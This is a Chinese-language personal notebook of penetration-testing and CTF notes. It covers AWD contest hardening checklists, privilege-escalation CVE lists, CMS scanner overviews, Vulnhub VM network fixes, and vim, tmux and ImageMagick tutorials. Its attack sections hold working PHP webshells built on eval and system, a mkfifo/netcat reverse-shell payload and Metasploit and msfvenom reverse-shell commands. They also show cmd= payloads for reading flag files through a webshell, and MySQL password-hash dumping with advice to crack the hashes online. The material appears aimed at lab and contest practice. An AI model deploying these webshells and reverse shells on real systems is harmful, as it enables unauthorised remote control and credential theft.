# AWD攻防赛参考思路

## 本次比赛环境
- **Windows+Linux组合模式**:
- Windows Server 2003 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
- Window7 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
- Windows Server 2008 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01

## Windows加固
- **先备份**:Web源码、数据库
1. 445端口加固,开启防火墙或IP高级安全策略
2. 开启系统日志审计功能
3. 禁用guest账户、关闭文件共享
4. 确保启动项内容是可控的
5. 限制3389远程访问控制的连接数
在本地组策略编辑器中,依次展开:计算机配置 → 管理模板 → Windows组件 → 远程桌面服务 → 远程桌面会话主机 → 连接 → 限制连接的数量。
6. 使用工具监控关键目录文件:`文件操作监控.exe` / 御剑文件监控.exe
7. 恶意代码文件查找,通过PCHunter, Monitor
8. Web目录环境查找相关可疑文件:jpg/png/rar,属性、解压
9. NTFS扫描磁盘查找隐藏的交换流数据
10. 查找系统所有账户信息,禁止非administrator账户
11. 修改Web站点管理员访问路径、默认口令、数据库口令
12. 安装WAF脚本,防护web站点,禁止其他漏洞

## Linux加固
- **先备份**:Web源码、数据库
1. 系统口令修改,团队统一口令
2. 通过`.bash_history`查找历史命令操作,发现痕迹
3. 查看计划任务:`crontab -l`;编辑计划任务:`crontab -e`
4. 查看`/etc/init.d/rc.local`中启动服务有无异常
5. 使用脚本开启进程监控、目录监控、流量监控
6. Web站点口令、站点管理员路径修改
7. 系统加固:`iptables`
- 进程线程:`netstat / ps -aux/netstat -apt`
- SSH:`w/fuser`
- 杀掉进程:`kill -9 pid`

## Mysql加固
1. 不使用默认口令,修改成复杂的,并确保和web环境连接
2. 设置只允许本地127.0.0.1账户登录
修改`bind-address=127.0.0.1`,在配置文件中加入`secure_file_priv=NULL`
3. 开启日志审计功能:`general_log_file=路径`

## Mssql加固
1. 删除不必要的账号
2. SQLServer用户口令安全
3. 根据用户分配帐号避免帐号共享
4. 分配数据库用户所需的最小权限
5. 网络访问限制
6. SQLServer登录审计
7. SQLServer安全事件审计
8. 配置日志功能

## 攻击准备
1. 各类CMS软件包最新版准备
2. 扫描工具:`nmap`、`nessus`、`metasploit`更新
3. 漏洞利用脚本:`poc`、`exp`

## Kali更新,解决签名问题:
wget -q -O - https://archive.kali.org/archive-key.asc  | apt-key add
uname -a
cat /proc/version


## Windows提权
- ms17-017
- ms17-010

## Linux提权
- CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18)
- CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
- CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
- CVE-2017-1000367(sudo本地提权漏洞)
- CVE-2016-1247(Nginx权限提升漏洞)
- CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)

## 中间件服务器
- IIS
- Apache
- JBoss
- MySQL
- Nginx
- Tomcat
- WebLogic

## 集成服务环境
- WAMPServer
- XAMPPServer

## CMS列表参考
- 下载最新版本+每个CMS对应的漏洞poc、exp工具脚本文章,之后汇总:
- Apache
- ASPCMS
- Dedecms
- Dicuz
- Drupal
- EmpireCMS
- Eshop
- FineCMS
- Joomla
- LAMP
- Metainfo
- Nginx
- Phpcms
- Phpwind
- Qibocms
- Seacms
- Semcms
- Tomcat
- Wolfcms
- Wordpress
- Zabbix

## 参考链接
- [FreeBuf](http://freebuf.com/)
- [Huseck GitHub](https://github.com/Huseck)
- [Seebug](https://www.seebug.org/)
- [安全客](https://www.anquanke.com/)
- [Exploit-DB](https://www.exploit-db.com/)
- [Bugscan](http://www.bugscan.net/source/template/vulns/)

#AWD攻防赛 #加固策略 #Windows #Linux #MySQL #MSSQL #提权 #CMS #漏洞扫描 #安全工具
在 Linux 和 Windows 系统中,即使是低权限用户(非管理员用户),也有一些目录可以写入,用于存储个人数据或临时文件。这些目录设计成便于应用程序和用户进行临时存储,不会影响系统安全和稳定性。

Linux 中低权限用户可写入的目录

1. /tmp - 这是 Linux 系统的临时目录,所有用户都有写入权限。目录权限为 1777,即所有用户可以读取、写入和执行,但启用了粘滞位 (sticky bit),防止用户删除他人文件。


2. /var/tmp - 用于存储长时间存在的临时文件,与 /tmp 类似,普通用户也有写入权限,系统重启时不会清空。


3. 用户主目录(/home/username) - 每个用户在 /home 目录下有一个个人主目录,默认情况下用户对自己的主目录拥有完全的读写权限。可以存储用户的个人文件、设置和下载内容。


4. /dev/shm - 共享内存目录,低权限用户可以写入,用于进程间通信的共享内存文件,但需要注意安全性。



Windows 中低权限用户可写入的目录

1. %TEMP% 或 %TMP% - 系统的临时目录,通常位于 C:\Users\<username>\AppData\Local\Temp,低权限用户有完全的读写权限,用于存储临时文件。


2. 用户主目录(C:\Users<username>) - 每个用户的主目录下包含桌面、文档、下载等文件夹,用户对这些文件夹有完全的读写权限。


3. C:\ProgramData - 虽然主要用于存放共享应用数据,但某些应用的配置文件夹可能允许低权限用户写入,视具体应用设置而定。


4. 应用数据目录(C:\Users<username>\AppData\Local 和 C:\Users<username>\AppData\Roaming) - 应用程序用来存储用户特定的设置和数据,用户对这些目录有完全的读写权限。



总结

在 Linux 中,低权限用户可以写入 /tmp、/var/tmp、/dev/shm 以及个人主目录。

在 Windows 中,低权限用户可以写入 %TEMP%、用户主目录(C:\Users\<username>)以及 AppData 文件夹中的本地和漫游目录。


这些目录被设计成允许用户写入而不影响系统的稳定性或安全性。
### MySQL版本与账户密码查询

- 显示MySQL版本号:
  select version();
  


- 获取MySQL账户和密码Hash:
- MySQL <= 5.6版本:
    select host, user, password from mysql.user;
    

- MySQL >= 5.7版本:
    select host, user, authentication_string from mysql.user;
    


将获取的密码Hash直接提交到在线解密网站 [CMD5](https://www.cmd5.com/)。

#MySQL #版本查询 #密码Hash #在线解密
除了WPScan这种针对特定应用程序(如WordPress)的漏洞扫描工具外,Kali Linux中还有许多类似的专门工具,针对不同的常用Web应用和内容管理系统(CMS)。以下是一些常见的工具:

1. JoomScan

功能:专门用于扫描Joomla网站,识别Joomla CMS的已知漏洞。

用途:检测Joomla核心、插件和模块中的已知漏洞。


2. AEM-Hacker

功能:针对Adobe Experience Manager(AEM)的安全测试工具,用于识别AEM应用的常见漏洞。

用途:适合检测AEM特定的配置错误和潜在的安全问题。


3. CMSmap

功能:一个多功能CMS扫描器,支持多种CMS平台,包括WordPress、Joomla、Drupal和Moodle等。

用途:检测CMS系统的已知漏洞,并且能够自动化进行一些常见的漏洞利用。


4. Droopescan

功能:专门针对Drupal的漏洞扫描器,用于扫描Drupal核心和插件中的已知漏洞。

用途:适用于Drupal站点的安全检测,帮助识别版本漏洞和配置问题。


5. Magescan

功能:Magento电商平台的安全扫描工具,用于检测常见的安全问题。

用途:适合对Magento商店进行安全扫描,识别不安全配置和版本漏洞。


6. DVWA (Damn Vulnerable Web Application)

功能:一个专门用于Web安全教育的脆弱应用,帮助安全研究人员练习Web漏洞利用。

用途:适合渗透测试人员学习和测试跨站脚本、SQL注入等常见的Web漏洞。


7. VBScan

功能:用于扫描vBulletin论坛系统的特定漏洞。

用途:扫描vBulletin的已知漏洞和配置问题,适合vBulletin论坛安全评估。


8. Sqlmap

功能:专门用于检测和利用SQL注入漏洞。

用途:尽管不是专门针对某一CMS系统,但对任何使用SQL数据库的应用都有效,适合检测SQL注入点并尝试利用漏洞。


9. w3af (Web Application Attack and Audit Framework)

功能:一个Web应用安全评估工具,支持多种插件,可检测XSS、SQL注入等常见Web漏洞。

用途:可配置不同的扫描插件,适合全面测试Web应用的安全性。


10. XSStrike

功能:专门用于检测和利用跨站脚本(XSS)漏洞的工具。

用途:适合用于测试和验证Web应用中的XSS漏洞。


11. Arachni

功能:一个开源的Web应用程序漏洞扫描框架,特别适用于发现Web应用的各种漏洞。

用途:适合自动化Web应用安全测试,提供XSS、SQL注入、文件包含等多种漏洞检测。


12. BBQSQL

功能:一种基于时间盲注的SQL注入检测工具。

用途:主要针对SQL盲注的场景,适合深入检测SQL注入漏洞。


这些工具针对不同的CMS和Web应用场景,帮助渗透测试人员和安全研究人员在特定平台上进行有效的漏洞检测。
### PHP 文件读取方法归纳

以下是您提供的几种 PHP 文件读取方法的整理与归纳,按功能和实现方式分类:

#### 1. 使用 `file_get_contents()`
cmd=echo file_get_contents('flag.php');

- 功能: 读取整个文件的内容并返回字符串。
- 特点: 适合小型文件,直接返回文件内容。
- 优点: 简单直接,易于使用。
- 用途: 读取文本文件或 PHP 文件的内容,不会执行代码。

#### 2. 使用 `highlight_file()`
cmd=echo highlight_file('flag.php', true);

- 功能: 读取文件并以语法高亮显示 PHP 代码。
- 特点: 输出文件内容时会进行 PHP 语法高亮,适合查看 PHP 文件源码。
- 优点: 高亮显示,易于分析 PHP 代码。
- 用途: 展示 PHP 文件的源码,特别适合调试和学习。

#### 3. 使用 `readfile()`
cmd=echo readfile('flag.php');

- 功能: 直接将文件内容输出到浏览器。
- 特点: 不返回文件内容,而是直接输出文件内容。
- 优点: 适合文件内容的快速输出。
- 用途: 输出文件,适合读取并显示文件内容,适用于图片或其他二进制文件。

#### 4. 使用 `fread()` 与 `fopen()`
cmd=echo fread(fopen('flag.php', 'r'), filesize('flag.php'));

- 功能: 打开文件并读取指定字节数,通常配合 filesize() 来读取整个文件。
- 特点: 更加灵活,可以处理大文件和逐块读取。
- 优点: 读取大文件时性能较好。
- 用途: 用于大文件读取和按需读取。

#### 5. 使用 `file()` 与 `implode()`
cmd=echo implode("\n", file('flag.php'));

- 功能: file() 将文件按行读取成数组,`implode()` 将数组内容连接成字符串。
- 特点: 逐行读取文件并输出。
- 优点: 适用于按行处理文件。
- 用途: 适合读取文本文件、配置文件等,并且可以按行处理文件内容。

---

### 总结对比

| 方法 | 描述 | 优点 | 适用场景 |
|---------------------------|---------------------------------------------|-------------------------------------------------|------------------------------------------|
| `file_get_contents()` | 读取整个文件的内容并返回字符串 | 简单、直接,适合读取小文件 | 读取小型文本文件,配置文件等 |
| `highlight_file()` | 读取并高亮显示 PHP 文件的源代码 | 高亮显示 PHP 语法,便于查看源码 | 查看和分析 PHP 源码 |
| `readfile()` | 直接输出文件内容到浏览器 | 适合快速输出文件内容 | 快速输出文件内容,适用于二进制文件 |
| `fread() + `fopen() | 逐块读取文件内容 | 更加灵活,可读取大文件,按需读取文件内容 | 读取大文件或需要逐块读取文件的场景 |
| file() + implode() | 按行读取文件并将内容连接成字符串 | 适合按行处理文件,可以方便地操作文件的每一行 | 读取和处理文本文件,适合逐行分析内容 |

### 用途选择
- 如果需要快速查看文件内容并输出,推荐使用 file_get_contents() 或 `readfile()`。
- 如果文件较大,且希望逐行读取内容,则推荐使用 `file()` 和 `implode()`。
- 如果需要展示 PHP 源代码并进行高亮显示,使用 `highlight_file()` 更为合适。
- 如果处理大文件并且想要逐块读取,使用 `fread() 和 `fopen() 组合方法更为合适。

### 传入方式
这些方法可以通过 POST 请求中的 cmd 参数传递给 @eval($_POST["cmd"]) 来执行。以下是一个示例:

curl -X POST -d "cmd=echo file_get_contents('flag.php');" http://192.168.5.205/shell.php


### 关键词
#PHP #file_get_contents #highlight_file #readfile #fread #fopen #file #implode #命令注入 #源码读取
pspy64 动态、实时地抓取当前系统中所有用户执行的命令,借助它来检测当前目标主机是否存在定时任务
【【Vulnhub靶场】靶机导入到vmware后获取不到IP - CSDN App】https://blog.csdn.net/weixin_44830645/article/details/123523062?sharetype=blog&shareId=123523062&sharerefer=APP&sharesource=gandli&sharefrom=link


### Vulnhub靶场虚拟机获取不到IP的解决方法

在使用Vulnhub靶场时,很多时候会遇到靶机导入到 VMware 后无法自动获取到 IP 地址的问题。这个问题可能与靶机的网络配置文件有关。下面是两种常见的解决方法,适用于不同版本的 Ubuntu。

#### 方法一:适用于 Ubuntu 17.10 以下版本
这个方法适用于 Ubuntu 17.10 及以下版本,因为这些版本的网络配置文件通常使用 /etc/network/interfaces 文件,而不是新的 `/etc/netplan/`。

步骤:
1. 启动靶机,在 VMware 启动界面按下 `e` 键进入编辑模式。
2. 找到包含 linux 字符串的行,通常是以 ro 开头的那一行。
3. 将 ro 改为 `rw single init=/bin/bash`,这样做可以进入单用户模式。

修改后应该类似于:

   rw single init=/bin/bash
   


4. 按下 `Ctrl + X` 来启动靶机,进入单用户模式。

5. 在单用户模式下,使用 ip a 命令查看网卡名称,假设网卡名称为 `ens33`。

6. 编辑网络配置文件 `/etc/network/interfaces`:
   nano /etc/network/interfaces
   


7. 修改文件中的网卡配置,确保 `ens33` 配置为 DHCP,配置内容如下:
   auto ens33
   iface ens33 inet dhcp
   


8. 保存文件并退出编辑器,使用以下命令重启网络:
   sudo systemctl restart networking
   


9. 重新启动靶机,应该可以成功获取到 IP 地址。

#### 方法二:适用于 Ubuntu 18.04 及以上版本
对于 Ubuntu 18.04 及以上版本,网络配置使用了 netplan`,而不是 /etc/network/interfaces` 文件。

步骤:
1. 按照方法一的步骤进入单用户模式并查看网卡名称(例如 `ens33`)。

2. 在单用户模式下,进入 /etc/netplan/ 目录:
   cd /etc/netplan/
   


3. 查看当前配置文件,并编辑(例如,文件名为 `00-installer-config.yaml`):
   nano 00-installer-config.yaml
   


4. 修改配置文件,确保配置项中的网卡名称为 `ens33`,并启用 DHCP,修改后的配置内容如下:
   network:
     version: 2
     renderer: networkd
     ethernets:
       ens33:
         dhcp4: true
   


5. 保存文件并退出编辑器。

6. 应用网络配置:
   sudo netplan apply
   


7. 重启靶机,应该可以通过 DHCP 获取到 IP 地址。

#### 总结
- 方法一 适用于 Ubuntu 17.10 以下版本,修改 /etc/network/interfaces 文件来启用 DHCP。
- 方法二 适用于 Ubuntu 18.04 及以上版本,使用 netplan 配置文件进行网络配置。

#Vulnhub #靶场 #VMware #Ubuntu #获取IP #DHCP #网络配置 #Netplan #网络故障
clash-nyanpasu 安装,开启服务System Service
1. scoop 安装
scoop install clash-nyanpasu

2. 参照命令:
./nyanpasu-service install --user %USERNAME% --nyanpasu-data-dir "C:\Users\%USERNAME%\AppData\Local\Clash Nyanpasu\data" --nyanpasu-config-dir "C:\Users\%USERNAME%\AppData\Roaming\Clash Nyanpasu\config" --nyanpasu-app-dir "D:\NetWork\ClashNyan"

3. 修改路径执行:
C:\Users\sec\scoop\apps\clash-nyanpasu\current\nyanpasu-service install --user sec --nyanpasu-data-dir "C:\Users\sec\scoop\apps\clash-nyanpasu\current\.data" --nyanpasu-config-dir "C:\Users\sec\scoop\apps\clash-nyanpasu\current\.config" --nyanpasu-app-dir "C:\Users\sec\scoop\apps\clash-nyanpasu\current"


#clash #scoop
### vim 的基本用法

vim 是一个强大的文本编辑器,广泛应用于程序开发、系统管理、配置文件编辑等场景。它继承了 vi 编辑器,并增加了大量的功能和灵活性。

#### 1. 启动和退出

- 启动 vim 编辑器:

  vim 文件名
  


如果文件不存在,`vim` 会创建一个新文件。

- 退出 `vim`:

- 保存并退出**:按 `Esc` 进入命令模式,然后输入 `:wq` 并按 `Enter`。
- **保存**:按 `Esc` 进入命令模式,然后输入 `:w` 并按 `Enter`。
- **退出而不保存**:按 `Esc` 进入命令模式,然后输入 `:q!` 并按 `Enter`。
- **强制退出**(如果文件未保存):按 `Esc` 进入命令模式,然后输入 `:q!` 并按 `Enter`。

#### 2. **Vim 模式


`vim` 有三种主要的模式:

- 普通模式(Normal Mode)**:这是默认模式,进行移动光标、删除、复制、粘贴等操作。按 `Esc` 可以确保处于普通模式。

- **插入模式(Insert Mode)**:用于输入文本。在普通模式下按 `i` 进入插入模式,按 `Esc` 回到普通模式。

- **命令模式(Command Mode)**:用于输入命令(例如保存、退出、搜索等)。按 `:` 进入命令模式。

#### 3. **基本操作


##### 移动光标

- 方向键**:可以使用方向键(上下左右)来移动光标。
- **h**:向左移动一个字符。
- **j**:向下移动一行。
- **k**:向上移动一行。
- **l**:向右移动一个字符。
- **w**:跳到下一个单词的开头。
- **b**:跳到前一个单词的开头。
- **0**:跳到行首。
- **$**:跳到行尾。

##### 删除文本

- **d**:删除字符,按 `d` 后按方向键或者其它移动命令,删除光标到目标位置的内容。
- **dd**:删除当前行。
- **d$**:删除从光标当前位置到行尾的内容。
- **d0**:删除从光标当前位置到行首的内容。

##### 复制和粘贴

- **yy**:复制当前行。
- **y$**:复制从光标到行尾的内容。
- **p**:粘贴复制的内容(在光标之后)。
- **P**:粘贴复制的内容(在光标之前)。

##### 撤销和重做

- **u**:撤销上一步操作。
- **Ctrl + r**:重做撤销的操作。

##### 搜索和替换

-
/关键词**:搜索关键词。按 n 跳到下一个匹配项,按 N 跳到上一个匹配项。
- ?关键词**:反向搜索关键词(从光标向上搜索)。
-
:s/old/new/g**:替换当前行的所有 old 为 `new`。
- :%s/old/new/g**:替换整个文件的所有 `old` 为 `new`。

##### 进入插入模式

- **i**:在光标当前位置前插入文本。
- **I**:在当前行的行首插入文本。
- **a**:在光标后插入文本。
- **A**:在当前行的行尾插入文本。
- **o**:在当前行下方插入新的一行并进入插入模式。
- **O**:在当前行上方插入新的一行并进入插入模式。

##### 保存和退出

-
:w**:保存文件。
- :w 文件名**:另存为新文件。
-
:q**:退出 `vim`。
- :q!**:强制退出,不保存文件。
-
:wq**:保存并退出。
- :x**:保存并退出(与 `:wq` 相同)。

#### 4. **高级功能


##### 分屏操作

- :split:sp**:水平分割窗口。
-
:vsplit** 或 :vsp**:垂直分割窗口。
- **Ctrl + w + w**:在多个窗口之间切换。
- **Ctrl + w + h/j/k/l**:在分屏中切换焦点(左、下、上、右)。

##### 标签页和窗口管理

-
:tabnew**:打开一个新的标签页。
- :tabn 或 `gt`:切换到下一个标签页。
- :tabp 或 `gT`:切换到上一个标签页。
- :tabc**:关闭当前标签页。

##### 自定义配置

你可以通过编辑 `~/.vimrc` 配置文件来定制 `vim` 的行为。例如,设置自动缩进:

```bash
set tabstop=4 " 设置 Tab 键的宽度为 4 个空格
set shiftwidth=4 " 设置缩进时的宽度为 4 个空格
set expandtab " 将 Tab 键转换为空格
set autoindent " 自动缩进
```

#### 5. **插件管理


- Vundle 是一个常用的 Vim 插件管理器,可以轻松地安装和管理 Vim 插件。

安装 Vundle:

git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim


~/.vimrc 中配置插件:

set nocompatible
filetype off
" 设置插件管理器
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
" 插件列表
Plugin 'tpope/vim-fugitive'
Plugin 'scrooloose/nerdtree'
call vundle#end()
filetype plugin indent on


运行 :PluginInstall 来安装插件。

#### 总结

- **模式**:`vim` 有普通模式、插入模式和命令模式,切换模式是 vim 操作的关键。
- **基本操作**:如光标移动、删除、复制粘贴、撤销重做、搜索替换等。
- **高级操作**:分屏、标签页、窗口管理、自定义配置等。
- **插件**:通过插件可以扩展 vim 的功能,增加开发效率。

vim 学起来有些陡峭,但一旦掌握,就能极大提高编辑和编程的效率。掌握了基础操作后,可以深入了解更多高级功能和插件。

#vim
### tmux 的用法简介

tmux`(Terminal Multiplexer)是一个强大的终端复用工具,允许你在一个终端窗口中同时运行多个会话。它可以分割屏幕、创建多个窗口、以及在会话间切换,特别适合进行长期运行的任务,远程会话或者多个命令的同时管理。`tmux 使得你可以在一个会话中管理多个终端进程。

#### 1. 安装 `tmux`

在大多数 Linux 发行版中,你可以使用以下命令来安装 `tmux`:

- Debian/Ubuntu 系列:

  sudo apt-get install tmux
  


- CentOS/RHEL:

  sudo yum install tmux
  


- macOS:

  brew install tmux
  


#### 2. 启动和基本操作

- 启动 `tmux` 会话:

  tmux
  


或者为会话指定名称:

  tmux new -s mysession
  


- 查看当前会话列表:

  tmux ls
  


- 连接到现有会话:

  tmux attach -t mysession
  


- 分离会话(在后台运行):

tmux 会话内,按下 Ctrl + b 然后按 `d`,会话会分离并在后台运行。你可以稍后重新连接。

  tmux attach -t mysession
  


- 退出 `tmux` 会话:

在会话中输入 exit 或按 `Ctrl + d`,会话结束。

#### 3. 基本的 `tmux` 键盘快捷键

tmux 的命令是通过按下 Ctrl + b 之后再按一个键来执行。例如:

- 分屏操作:
- 水平分割屏幕:`Ctrl + b` 然后按 `%`。
- 垂直分割屏幕:`Ctrl + b` 然后按 `"`。

- 在分屏间切换:
- 切换到下一个窗口:`Ctrl + b` 然后按 `n`。
- 切换到上一个窗口:`Ctrl + b` 然后按 `p`。
- 切换到指定窗口:`Ctrl + b` 然后按窗口编号(如 0`,`1 等)。
- 切换焦点(在分屏之间切换):`Ctrl + b` 然后使用箭头键(←、→、↑、↓)。

- 创建新的窗口:
- 创建新窗口:`Ctrl + b` 然后按 `c`。
- 切换到新窗口:`Ctrl + b` 然后按 n 或 `p`。

- 关闭当前窗口:
- 退出当前窗口:`Ctrl + b` 然后按 `&`。

#### 4. tmux 分屏操作

`tmux` 的分屏功能非常强大,支持水平和垂直分割,可以在同一个会话内同时操作多个终端窗口。

- 水平分割(上下分屏):

Ctrl + b 然后按 `"`(双引号),这将把窗口分割成上下两部分。

- 垂直分割(左右分屏):

按 `Ctrl + b` 然后按 `%`,这将把窗口分割成左右两部分。

- 调整分屏大小:

按住 `Ctrl + b` 后,再按住箭头键(←、→、↑、↓)来调整分屏大小。

#### 5. tmux 会话管理

- 创建会话:

  tmux new -s mysession
  


创建一个新的 tmux 会话并命名为 `mysession`。

- 列出会话:

  tmux ls
  


显示当前所有会话。

- 连接到会话:

  tmux attach -t mysession
  


连接到名为 `mysession` 的会话。

- 分离会话:

Ctrl + b 后再按 `d`,会话会分离并在后台继续运行。

- 杀死会话:

  tmux kill-session -t mysession
  


终止名为 `mysession` 的会话。

#### 6. 其他有用的命令

- 查看 tmux 配置:

  tmux show-options
  


- 修改 `tmux` 配置:

配置文件位于 ~/.tmux.conf`,你可以在其中添加自定义配置。例如,设置 `tmux 默认分屏为垂直分割:

  #~/.tmux.conf
  bind | split-window -h
  


- 将输出重定向到文件:

  tmux capture-pane -S -1000  # 捕获最新的 1000 行
  tmux save-buffer output.txt  # 保存到 output.txt 文件
  


#### 7. tmux 和远程连接

当你通过 SSH 登录到远程服务器时,`tmux` 非常有用,因为你可以在断开连接后保持会话活跃,并且可以重新连接。

- 在远程主机上启动 tmux 会话:

  tmux new -s mysession
  


- 分离会话后断开连接:

  Ctrl + b 然后按 d
  


- 重新连接会话:

  tmux attach -t mysession
  


### 总结

- `tmux` 是一个强大的终端复用工具,允许你在一个窗口中管理多个会话。
- 你可以分屏、创建新窗口、管理多个任务,非常适合长时间运行的任务和远程工作。
- 常用操作包括:启动/连接/分离会话、分屏、创建窗口、键盘快捷键等。

希望你能充分利用 tmux 来提升工作效率,特别是在远程环境中!

#tmux #终端复用 #分屏操作 #会话管理 #Linux #终端工具
### 使用 ImageMagick 生成 1x1 像素图片(JPG、PNG、GIF)

#### 1. 安装 ImageMagick

首先,确保已安装 ImageMagick。在 Windows 环境下,使用 scoop 安装时,你已经完成了安装:

scoop install imagemagick


#### 2. 命令格式

ImageMagick 7.x 版本不再使用 convert 命令,而是使用 magick 命令。以下是生成不同格式的 1x1 像素图像的常用命令。

#### 3. 生成 JPG 图片

magick -size 1x1 xc:white 1x1.jpg


- `-size 1x1`:指定图像的尺寸为 1x1 像素。
- `xc:white`:表示图像的背景颜色是白色(可以更改为其他颜色,如 `black`、`red` 等)。
- `1x1.jpg`:输出文件名,格式为 JPG。

#### 4. 生成 PNG 图片

magick -size 1x1 xc:white 1x1.png


- `-size 1x1`:同样指定图像为 1x1 像素。
- `xc:white`:设置背景颜色为白色(可以改为其他颜色)。
- `1x1.png`:生成 PNG 格式的图片。

#### 5. 生成 GIF 图片

magick -size 1x1 xc:white 1x1.gif


- `-size 1x1`:同样指定图像为 1x1 像素。
- `xc:white`:设置背景颜色为白色(可以替换为其他颜色)。
- `1x1.gif`:生成 GIF 格式的图片。

### 总结

- **JPG**:适用于照片或渐变色图像,压缩有损,文件较小。
- **PNG**:适合无损压缩,支持透明度,适用于网页图标和图形。
- **GIF**:适合简单动画或低色彩图形,支持透明度,但仅限 256 色。

所有命令中:
- -size 1x1 指定图像为 1x1 像素。
- xc:white 表示背景颜色是白色,您可以更改颜色(如 red`、`black 等)。
- 输出的文件名(如 `1x1.jpg`、`1x1.png`、`1x1.gif`)指定了生成的图片格式。

### 常见用法

1. **生成白色背景图像**:适用于创建透明或无背景的图像,如网页设计中的图标。
2. **图像压缩**:适合小文件的生成和存储。

---

这就是使用 ImageMagick 生成 1x1 像素图像的基本步骤。如果你有更多问题,随时提问!

#ImageMagick #生成图像 #JPG #PNG #GIF #1像素图 #图片
msf6 >use exploit/multi/handler 
msf6 exploit(multi/handler)>set payload php/meterpreter/reverse_tcp 
msf6 exploit(multi/handler)>set lhost 0.0.0.0 
msf6 exploit(multi/handler)>set lport 4444 
msf6 exploit(multi/handler)>exploit
#反弹shell

以下反弹shell php 文件需要需要IP和port
❯ locate php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php


msfvenom -p php/meterpreter/reverse_tcp LH0ST=192.168.0.131 LP0RT=4444 -f raw -o /home/kali/Desktop/revshells.php
<?php 
error_reporting(0);

if($_SERVER['REQUEST_METHOD'] == 'POST'){
    @eval($_POST['cmd']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
    @system($_GET['cmd']);
}

phpinfo();
?>


#php #木马
一句话木马
同时支持 GET、POST
<?php 
@eval($_REQUEST['cmd']);
phpinfo();
?>

#php #一句话木马

反弹shell
1. 开启监听
nc -lvnp 4444

2. nc mkfifo 连接
GET、POST:
cmd=system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP Port >/tmp/f");

注意:发送前都需要进行url编码 ,hackbar\burp suite选择urlencode

#反弹shell

快速实现
metasploit-framework 开启监听,使用蚁剑As-Exploits反弹shell连接

#蚁剑
Back to Top